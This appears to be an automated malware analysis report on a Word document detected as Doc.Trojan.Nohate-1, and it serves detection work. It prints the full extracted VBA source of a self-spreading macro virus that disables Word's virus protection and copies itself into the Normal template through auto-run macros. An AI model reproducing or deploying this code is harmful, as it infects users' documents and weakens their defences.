Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ca9881e989b0cc7…

MALICIOUS

Office (OLE)

32.0 KB Created: 2004-04-27 05:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ab59b0f6084dbc7c336afd779e8594b8 SHA-1: bc3f113fb6232d990ecf700fbf220652d1e07529 SHA-256: 5ca9881e989b0cc7dfdb2816577ed078222466f1dd94d1edac9397844232146f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon opening or closing a document. The macros attempt to copy themselves between the document and its template, indicating an effort to maintain persistence or spread. The ClamAV detection name 'Doc.Trojan.Nohate-1' further supports the malicious nature of the file.

Heuristics 5

  • ClamAV: Doc.Trojan.Nohate-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nohate-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1510 bytes
SHA-256: 8cd24bf5448b4a0dd64d7efb7df268f9da34aa7fe6a0532483bcc42d3127fff0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NoNoHate_A"
Sub AutoExec()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Options.VirusProtection = False
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoNew()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoClose()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Function Virus()
    On Error Resume Next
    E
End Function
Function E()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Dim A, B As String
    A = Application.NormalTemplate.FullName
    B = Application.ActiveDocument.FullName
    Application.OrganizerDelete A, "Hate_A", wdOrganizerObjectProjectItems
    Application.OrganizerDelete B, "Hate_A", wdOrganizerObjectProjectItems
    Application.OrganizerCopy A, B, "NoNoHate_A", wdOrganizerObjectProjectItems
    Application.OrganizerCopy B, A, "NoNoHate_A", wdOrganizerObjectProjectItems
End Function

Sub ArquivoSalvar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
    ActiveDocument.Save
End Sub

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